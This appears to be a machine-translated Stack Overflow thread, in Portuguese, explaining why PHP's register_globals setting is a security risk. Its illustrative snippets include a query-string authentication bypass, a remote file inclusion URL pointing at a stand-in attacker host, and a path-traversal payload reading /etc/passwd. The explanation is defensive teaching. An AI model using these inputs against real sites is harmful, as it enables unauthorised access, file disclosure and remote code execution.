Pergunta

Eu não sou um desenvolvedor PHP, mas eu já vi em um par de lugares que as pessoas parecem tratá-lo como a peste ou algo assim. Por quê?

Foi útil?

Solução

meios REGISTER_GLOBALS que todas as variáveis ??passaram por GET ou POST são avilable como variáveis ??globais em seu script. Desde acesso a variáveis ??não declaradas não é um erro em PHP (é um aviso), que pode levar a situações muito desagradáveis. Considere esta, por exemplo:

<?php
// $debug = true;
if ($debug) {
    echo "query: $query\n";
}

Não é uma coisa ruim per se (bem projetado código não deve gerar avisos, portanto, não deve acessar todas as variáveis ??que pode ser não declarado (e não deve necessidade REGISTER_GLOBALS pela mesma razão)), mas o código PHP é geralmente [muito] baixa qualidade, o que leva a este tipo de falhas de segurança.

Outras dicas

A ativação register_globals expõe webpages servido por PHP para vulnerabilidades que alguns bandidos vão estar dispostos a explorar.

Com ele ativado, qualquer string de consulta no final do URL:

http://yourdomain/something.php?valid=true 

afetará o valor de uma variável $ válido (por exemplo) em something.php, se existir .

Se você estiver usando código PHP publicamente disponíveis (uma biblioteca, por exemplo) os nomes das variáveis ??são bem conhecidos, e seria possível para hackers para controlar seus valores, atribuindo valores na cadeia de consulta. Eles podem ser capazes de ignorar a autenticação.

Mesmo se você não está usando o código público, pode ser possível adivinhar os nomes de variáveis ??importantes, e controlar os seus valores.

Ela costumava ser o padrão para ter register_globals habilitado PHP.INI

prática recente tem sido a de desativá-lo por padrão. Habilitá-lo em seu próprio risco!

Só para acrescentar, aqui estão algumas situações onde ter REGISTER_GLOBALS habilitados poderia arruinar seu dia:

Usando a seqüência de consulta para controle de acesso de bypass (cortar usando http://example.com/ ? logged = 1 ):

<?php
$logged = User::getLogged();
if ($logged)
{
    include '/important/secret.php';
}
?>

Remoto Inclusão de arquivos (RFI):

<?php
    //http://example.com/?path=http://evilbadthings.example.com/
    include "$path"; 
?>

Inclusão de arquivo Local (LFI):

<?php
    //http://example.com/?path=../../../../etc/passwd
    include "$path"; 
?>

Porque ele permite que o usuário para injetar qualquer variável global em seu código sem qualquer controle.

Com base na qualidade do código, pode introduzir grandes falhas de segurança.

Licenciado em: CC-BY-SA com atribuição
Não afiliado a StackOverflow
scroll top